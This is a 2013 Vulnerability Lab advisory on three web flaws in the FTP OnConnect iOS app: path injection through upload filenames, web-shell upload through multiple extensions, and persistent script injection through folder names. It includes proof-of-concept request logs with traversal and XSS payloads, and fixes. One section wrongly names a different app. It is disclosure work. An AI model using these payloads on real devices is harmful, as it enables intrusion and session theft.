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FTP OnConnect v1.4.11 iOS - Multiple Web Vulnerabilities
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Sun, 04 Aug 2013 13:20:43 +0100

Title:
======
FTP OnConnect v1.4.11 iOS - Multiple Web Vulnerabilities


Date:
=====
2013-08-04


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1041


VL-ID:
=====
1041


Common Vulnerability Scoring System:
====================================
8.6


Introduction:
=============
Simultaneous connections, and directory caching improves the work efficiency and save your time. Transmission Manager 
feature 
is easier and more efficient transmission to be managed. Supports FTP / SFTP / FTPS (Explicit FTP over TLS, Implicit 
FTP over 
TLS) connection. SFTP Private key authentication. name/password authentication is also supported.

( Copy of the Homepage: https://itunes.apple.com/us/app/ftp-onconnect-free-ftp-sftp/id594722236 )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a command/path inject vulnerability in the FTP OnConnect v1.4.11 
application (Apple iOS - iPad & iPhone).


Report-Timeline:
================
2013-08-04:    Public Disclosure (Vulnerability Laboratory)


Status:
========
Published


Affected Products:
==================
Apple AppStore
Product: FTP OnConnect - Mobile Application 1.4.11


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
1.1
A file include web vulnerability is detected in the FTP OnConnect v1.4.11 mobile application (Apple iOS - iPad & 
iPhone).
The file include vulnerability allows remote attackers to include (upload) local file or path requests to compromise 
the application or service.

The vulnerability is located in the upload module when processing to upload files with manipulated filenames in the 
POST method request & header. 
The attacker can inject local path or files to request context and compromise the mobile device or ftp service. The 
validation has a bad side 
effect which impacts the risk to combine the attack with persistent injected script code.

Exploitation of the local file include web vulnerability requires no user interaction or privilege application user 
account with password. 
Successful exploitation of the vulnerability results in unauthorized local file and path requests to compromise the 
device or application.

Vulnerable Application(s):
                                [+] FTP OnConnect v1.4.11 - ITunes or AppStore (Apple)

Vulnerable Module(s):
                                [+] Upload (Files) - (http://localhost:50000)

Vulnerable Parameter(s):
                                [+] filename 

Affected Module(s):
                                [+] Index File Dir Listing



1.2
An arbitrary file upload web vulnerability is detected in the FTP OnConnect v1.4.11 mobile application (Apple iOS - 
iPad & iPhone).
The arbitrary file upload issue allows a remote attacker to upload files with multiple extensions to bypass the 
validation for unauthorized access.

The vulnerability is located in the upload module when processing to upload files with multiple ending extensions. 
Attackers are able to upload 
a php or js web-shells by renaming the file with multiple extensions. The attacker uploads for example a web-shell with 
the following name and 
extension image.jpg.js.php.jpg . At the end the attacker deletes in the request after the upload the jpg to access 
unauthorized the malicious 
file (web-shell) to compromise the web-server or mobile device.

Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user 
account with password.
Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the 
upload of web-shells.

Vulnerable Application(s):
                                [+] FTP OnConnect v1.4.11 - ITunes or AppStore (Apple)

Vulnerable Module(s):
                                [+] Upload (Files) - (http://localhost:50000)

Vulnerable Parameter(s):
                                [+] filename (multiple extensions)

Affected Module(s):
                                [+] Index File Dir Listing



1.3
A persistent input validation web vulnerability is detected  in the Private Photos v1.0 application (Apple iOS - iPad & 
iPhone).
The bug allows an attacker (remote) to implement/inject malicious own malicious persistent script codes (application 
side).

The vulnerability is located in the add `New Folder` module of the web-server (http://localhost:50000) application when 
processing to 
inject via POST method request manipulated `folder-names`. The folder name will be changed to the path value without 
secure filter, 
encoding or parse mechanism. The injected script code will be executed in the path listing context and of course also 
in the index 
file dir listing of the mobile ftp web application interface.

Exploitation of the persistent web vulnerability requires low user interaction and a local low privilege mobile 
application account 
with a password. Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), 
account steal 
via persistent web attacks, persistent phishing or persistent module context manipulation.

Vulnerable Application(s):
                                [+] FTP OnConnect v1.4.11 - ITunes or AppStore (Apple)

Vulnerable Module(s):
                                [+] New Folder - (http://localhost:50000/?dir=)

Vulnerable Parameter(s):
                                [+] foldername

Affected Module(s):
                                [+] Index File Dir Listing
                                [+] Path/Folder Listing


Proof of Concept:
=================
1.1
The local file include web vulnerability can be exploited by remote attackers without privilege application user 
account and 
also without user interaction. For demonstration or reproduce ...


PoC: 
<tr class="shadow"><td><a href="/download.html?dir=%2F&name=[LOCAL FILE/PATH INCLUDE VULNERABILITY!]" 
class="file">../var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*</a></td><td>95.8 KB</td><td>3. August 2013 
18:29</td>
<td><form action="/delete.html?fileType=f&dir=%2F&name=../var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*" 
method="post"><input name="_method" value="Delete" type="hidden"><input name="commit" value=" Delete " class="button" 
type="submit">   <input name="rename" value=" Rename " 
onclick="renameFunction('f','%2F','../var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*')" 
class="button" type="BUTTON"></form></td></tr>


--- Request Session Log POST  ---
Status: 200[OK]

POST http://192.168.2.104:50000/upload.html 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] 
Content Size[0] 
Mime Type[application/x-unknown-content-type]
   

Request Headers:
Host[192.168.2.104:50000]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]

Referer[http://192.168.2.104:50000/index.html?dir=%2F]
Connection[keep-alive]

Post Data:
POST_DATA[-----------------------------7857615028463
Content-Disposition: form-data; name="newfile"; filename="../var/mobile/[LOCAL FILE/PATH INCLUDE VULNERABILITY!].*"
Content-Type: image/png


Note: After the inject the remote attacker can open up the index file dir listing to execute the unauthorized file/path 
request.




1.2
The arbitrary file upload web vulnerability can be exploited by remote attackers without privilege application user 
account and 
also without user interaction. For demonstration or reproduce ...


PoC: 
<tr class="shadow"><td><a href="/download.html?dir=%2F&name=1234.png.txt.iso.php.js.html.gif" 
class="file">1234.png.txt.iso.php.js.html.gif</a></td><td>95.8 KB</td><td>3. August 2013 18:29</td>
<td><form action="/delete.html?fileType=f&dir=%2F&name=1234.png.txt.iso.php.js.html.gif" 
method="post"><input name="_method" value="Delete" type="hidden"><input name="commit" value=" 
Delete " class="button" type="submit">   <input name="rename" value=" Rename " 
onclick="renameFunction('f','%2F','1234.png.txt.iso.php.js.html.gif')" class="button" type="BUTTON"></form></td></tr>


--- Request Session Log POST  ---
Status: 200[OK]
POST http://192.168.2.104:50000/upload.html 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] 
Content Size[0] 
Mime Type[application/x-unknown-content-type]
   

Request Headers:
Host[192.168.2.104:50000]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]

Referer[http://192.168.2.104:50000/index.html?dir=%2F]
Connection[keep-alive]

Post Data:
POST_DATA[-----------------------------7857615028463
Content-Disposition: form-data; name="newfile"; filename="1234.png.txt.iso.php.js.html.gif"
Content-Type: image/gif


Note: After the inject the attacker can easily visit the main index website and open the ?dir= folder listing by 
attaching 
the filename with the multi extension. After the first request the attacker opens the file the regular way without the 
parameter 
?dir (path) to execute without download.



1.3
The persistent input validation web vulnerability can be exploited by remote attackers without privilege application 
user account and 
with low user interaction. For demonstration or reproduce ...


PoC: New Folder - Index File Dir Listing

<table border="0" cellpadding="0" cellspacing="0">
<thead>
<tr><th>Name</th><th class="sizeStr">Size</th><th class="dateStr">Date</th><th class="actionStr">Action</th></tr>
</thead>
<tbody id="filelist"><tr><td><a href="http://192.168.2.104:50000/index.html?dir=%2F%3E%22%3Ciframe%20src%3Da%3E"; 
class="file"><>"<iframe src="FTP%20On%20Connect%20File%20Management-foldername_files/a.txt">
</a></td><td>0
 byte</td><td>3. August 2013 
14:43</td><td><form 
action='/delete.html?fileType=d&dir=%2F%3E%22%3Ciframe%20src%3Da%3E'
 method='post'><input name='_method' value='Delete' 
type='hidden'/><input name="commit" type="submit" value=" Delete "
 class='button'/>   <input 
name="rename" value=" Rename " type="BUTTON" 
onclick="renameFunction('d','%2F%3E%22%3Ciframe%20src%3Da%3E','%3E%22%3Ciframe%20src%3Da%3E')"
class='button'/></form></td></tr></tbody></table></iframe></a></td></tr>


--- Request Session Log GET  ---

Status: 200[OK]

GET 
http://192.168.2.104:50000/newFolder.html?folderName=%3E%22%3Ciframe%20src%3Da%20onload%3Dalert(%22HITHOMAS%22)%3C%3E 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] 
Content Size[0] Mime Type[application/x-unknown-content-type]
   

Request Headers:
      
Host[192.168.2.104:50000]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]

Referer[http://192.168.2.104:50000/index.html?dir=%2FMAINPENTESTFOLDER]
Connection[keep-alive]
Response Headers:
Accept-Ranges[bytes]
Content-Length[0]

Location[http://192.168.2.104:50000/index.html?dir=/MAINPENTESTFOLDER/]
Date[Sat, 03 Aug 2013 12:52:13 GMT]


Note: After the inject the folder can only be deleted by the device itself because the functions are not anymore 
available.
Exploitation of the issue does also work via rename without the add function.


Solution:
=========
1.1 - 1.2
The vulnerabilities can be patched by a secure file name input restriction and filter when processing to upload. Parse 
and encode the filename input 
of the file upload POST method request. Parse and encode the output file listing of the filename even if the input is 
restricted.
Disallow double extensions by setting a restriction to `.` on file uploads.

1.2
The persistent input validation can be parsed by a secure encode of the foldername input and output listing.
It is also required to setup a restriction to the foldername input to prevent the include of special chars or script 
codes.


Risk:
=====
1.1
The security risk of the local file include web vulnerability is estimated as high(+).

1.2
The security risk of the arbitrary file upload web vulnerability is estimated as critical.

1.3
The security risk of the persistent input validation web vulnerability is estimated as high(-).


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () evolution-sec com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
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damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack 
into databases 
or trade with fraud/stolen material.

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                                Copyright © 2013 | Vulnerability Laboratory [Evolution Security]



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